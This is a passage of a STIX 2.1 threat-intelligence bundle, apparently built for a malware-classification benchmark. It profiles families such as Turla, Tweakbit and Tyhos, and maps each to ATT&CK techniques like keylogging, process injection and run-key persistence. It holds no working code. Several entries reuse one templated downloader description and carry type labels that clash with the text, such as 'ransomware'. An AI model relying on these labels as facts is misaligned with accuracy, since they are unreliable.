        "Trojan.Turkojan",
        "Win32/Turkojan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Turkojan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/turkojan"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ca27fa7-86ce-5c58-8177-2f6b92b9d79f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c3317f-f788-52a5-8f32-e914546b65b8",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turkojan exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82d59087-5ae7-55b4-8a4d-b030fc69d84e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c3317f-f788-52a5-8f32-e914546b65b8",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turkojan exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ce2fae7-62d7-5f28-862f-60222773f958",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c3317f-f788-52a5-8f32-e914546b65b8",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turkojan exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e26196df-ca86-5765-85a9-704e52a35ce0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c3317f-f788-52a5-8f32-e914546b65b8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turkojan exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d98020a4-b95f-5f41-b8ec-cf1f2f9c6dd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c3317f-f788-52a5-8f32-e914546b65b8",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turkojan exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90346f30-09e5-527e-867d-239ddb0d36f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c3317f-f788-52a5-8f32-e914546b65b8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turkojan exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e2185b4-8cab-59f0-9a33-ebd15f18f68a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2c3317f-f788-52a5-8f32-e914546b65b8",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turkojan exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8834e31a-36e4-5e77-b365-19eaed112cda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Turla",
      "description": "Turla (extensively documented in military and threat intelligence reporting under aliases such as Snake, Uroburos, Waterbug, and Venomous Bear) is an elite cyber espionage framework operated by the Russian Federal Security Service (FSB) 16th Center (Military Unit 71330). With roots tracing back to the landmark 2008 Agent.BTZ compromise of the US Department of Defense, Turla has conducted targeted cyber espionage for over 15 years against government ministries, embassies, military command facilities, and intelligence agencies across more than 50 countries.\n\nTurla is renowned for unprecedented technical sophistication: it pioneered high-altitude satellite internet downlink hijacking (intercepting unencrypted satellite DVB-S streams from commercial providers in Africa and the Middle East to mask its C2 servers), complex internal peer-to-peer (P2P) mesh communications between isolated subnet victim nodes, and kernel-level rootkits. In May 2023, the United States Department of Justice, the FBI, and intelligence partners across the Five Eyes alliance executed 'Operation MEDUSA'\u2014a court-authorized operation that deployed the FBI-developed 'PERSEUS' tool to communicate with and remotely issue self-disabling commands to the FSB's flagship Snake implant network worldwide. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Turla",
        "Snake",
        "Uroburos",
        "Waterbug",
        "Venomous Bear",
        "KRYPTON"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Turla",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/turla"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12388e75-03fd-5aba-bcfd-fb85645d1166",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8834e31a-36e4-5e77-b365-19eaed112cda",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turla exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfdda89e-7d50-56d8-8775-45d7e095d72e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8834e31a-36e4-5e77-b365-19eaed112cda",
      "target_ref": "attack-pattern--d26b0080-b33f-58e9-a204-f4d14ddb8a23",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turla exhibits technique T1090.002 (Proxy: External Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec431a91-0cd6-5778-b259-3cb6775e5a59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8834e31a-36e4-5e77-b365-19eaed112cda",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turla exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--914c1c1c-027c-52e5-a8b0-2112a5071ed4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8834e31a-36e4-5e77-b365-19eaed112cda",
      "target_ref": "attack-pattern--772551ec-8f8a-5fc0-9ee5-8b57c9dbe443",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turla exhibits technique T1074.001 (Data Staged: Local Data Staging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3f5bee3-a344-58e2-ab45-a55413812e14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8834e31a-36e4-5e77-b365-19eaed112cda",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Turla exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d50aeee3-e0c2-5a11-a434-5207bd29ac87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tuscas",
      "description": "Tuscas (cataloged across security vendors and threat intelligence databases under signatures including Adware:Win32/Tuscas, PUA:Win32/Tuscas, and Adware.Tuscas) is a persistent adware framework and browser modifier active since 2016. Infiltrating endpoints primarily through third-party freeware bundlers and pirated software packages, Tuscas leverages aggressive persistence tactics. The adware modifies Windows Group Policy settings (specifically ExtensionInstallForcelist) to lock rogue extensions into Google Chrome and Chromium-based browsers, preventing users from removing them. Tuscas intercepts search queries, injects unsolicited advertisements into web sessions, and redirects web navigation to generate affiliate revenue. (Observed samples in benchmark: 44)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Tuscas",
        "PUA:Win32/Tuscas",
        "Adware.Tuscas",
        "Win32/Tuscas",
        "Adware:Win32/Tuscas.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tuscas",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tuscas"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--406f90f2-a484-5e3d-8bc2-54766619c5d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tvido",
      "description": "Trojan:Win32/Tvido is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tvido</b><br>To an end-user, a Tvido infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tvido is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tvido is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tvido frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tvido reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tvido",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tvido"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85c0aee5-84a5-52d9-a771-b9030b7ce604",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--406f90f2-a484-5e3d-8bc2-54766619c5d4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tvido exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9eed7be2-43fa-536d-bf21-e87c9e612549",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--406f90f2-a484-5e3d-8bc2-54766619c5d4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tvido exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb083c69-7abc-5e25-b0ef-b2f03517bf13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--406f90f2-a484-5e3d-8bc2-54766619c5d4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tvido exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7867194-54ec-5aae-8b38-bb4f61ef2bf0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--406f90f2-a484-5e3d-8bc2-54766619c5d4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tvido exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f353a0ba-ae2f-5d75-b5bf-795cf7f23edc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--406f90f2-a484-5e3d-8bc2-54766619c5d4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tvido exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d04e1783-0bba-5d05-93d3-5d13ee3b00b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tweakbit",
      "description": "Tweakbit (cataloged across security vendors under detections including PUA:Win32/Tweakbit, PUP.Optional.Tweakbit, and Program:Win32/Tweakbit) is a family of rogue PC optimization utilities\u2014including TweakBit PCRepairKit, Driver Updater, and SpeedUpMyPC\u2014active since 2014. Marketed as system cleaning and maintenance software, Tweakbit employs aggressive scareware marketing tactics and deceptive diagnostic scan reporting to coerce users into purchasing commercial license keys. Upon launch, the application conducts automated system scans that deliberately classify benign operating system artifacts (such as temporary internet files, MRU lists, and empty registry entries) as 'severe registry corruptions' and 'critical security hazards'. Tweakbit persistently pesters users with alarming system tray pop-ups warning of imminent operating system crashes, while blocking automated remediation behind an expensive commercial paywall. Furthermore, automated deletions performed by Tweakbit's aggressive registry cleaning engine risk damaging valid software keys and destabilizing the Windows operating system. (Observed samples in benchmark: 117)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Tweakbit",
        "PUP.Optional.Tweakbit",
        "Program:Win32/Tweakbit",
        "PUA:Win32/TweakbitPCRepairKit",
        "PUP.Optional.TweakbitPCRepairKit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tweakbit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tweakbit"
        }
      ],
      "labels": [
        "rogueware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d70a3039-9590-5ea8-adc5-02529845b4ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d04e1783-0bba-5d05-93d3-5d13ee3b00b4",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tweakbit exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20b2b6aa-3409-54bb-bf34-113db1eb7c88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d04e1783-0bba-5d05-93d3-5d13ee3b00b4",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tweakbit exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65673084-5286-5641-894c-901096169921",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d04e1783-0bba-5d05-93d3-5d13ee3b00b4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tweakbit exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69273436-02f0-5b56-b9d8-c0486df73670",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d04e1783-0bba-5d05-93d3-5d13ee3b00b4",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tweakbit exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b7fb95c-014f-52e4-bfd1-6bafba24c238",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d04e1783-0bba-5d05-93d3-5d13ee3b00b4",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tweakbit exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--734613cd-3190-5835-9715-3f2b872aa1cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tweakbitdu",
      "description": "Tweakbitdu (tracked across endpoint security engines as PUA:Win32/Tweakbitdu, Program:Win32/TweakBit, PUP.Optional.TweakBit, and PUA.Win32.TweakBitDU) is a widely distributed Potentially Unwanted Application (PUA) and rogue driver-updating utility developed and distributed under the TweakBit brand (affiliated with Auslogics). Distributed primarily via software bundlers, deceptive download portals, and aggressive browser landing pages claiming system instability, Tweakbitdu performs rapid, exaggerated scans of host hardware drivers. It systematically reports dozens of critical driver vulnerabilities and hardware incompatibilities\u2014frequently exaggerating benign device statuses\u2014in order to intimidate users into purchasing a paid commercial registration key. In addition to high-pressure marketing tactics, Tweakbitdu installs persistent background updater services, creates scheduled tasks to trigger unsolicited pop-up nag screens, and communicates telemetry to remote analytics endpoints. (Observed samples in benchmark: 38)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Tweakbitdu",
        "Program:Win32/TweakBit",
        "PUP.Optional.TweakBit",
        "PUA.Win32.TweakBitDU",
        "Win32/TweakBitDriverUpdater"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tweakbitdu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tweakbitdu"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a1c3c068-6682-5d23-b0f4-1fef1724dff8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tyhos",
      "description": "Trojan:Win32/Tyhos is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tyhos</b><br>To an end-user, a Tyhos infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tyhos is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tyhos is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tyhos frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tyhos reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tyhos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tyhos"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46568648-bb7f-5b24-8bfc-265356236794",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1c3c068-6682-5d23-b0f4-1fef1724dff8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tyhos exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c824fe9-c6cc-50ee-b8f9-80e4fb209ffb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1c3c068-6682-5d23-b0f4-1fef1724dff8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tyhos exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97eb0932-8f3e-5a8f-aee9-80d049a586a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1c3c068-6682-5d23-b0f4-1fef1724dff8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tyhos exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89802133-6dff-536b-82e0-242ee002a148",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1c3c068-6682-5d23-b0f4-1fef1724dff8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tyhos exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba8d63e2-330d-5438-b533-a00509df7a7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1c3c068-6682-5d23-b0f4-1fef1724dff8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tyhos exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab41e6e7-3987-53b4-840d-10e886447b11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Typic",
      "description": "Trojan:Win32/Typic is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Typic</b><br>To an end-user, a Typic infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Typic is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Typic is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Typic frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Typic reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Typic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/typic"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9d3d59f-5e54-5fc1-af0a-3d93ef2a7347",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab41e6e7-3987-53b4-840d-10e886447b11",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Typic exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c20b0fff-39d2-5835-bc44-58e7eb78d3e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab41e6e7-3987-53b4-840d-10e886447b11",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Typic exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51fce1c4-f5d4-5ea4-a5d0-8f9833e2cc9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
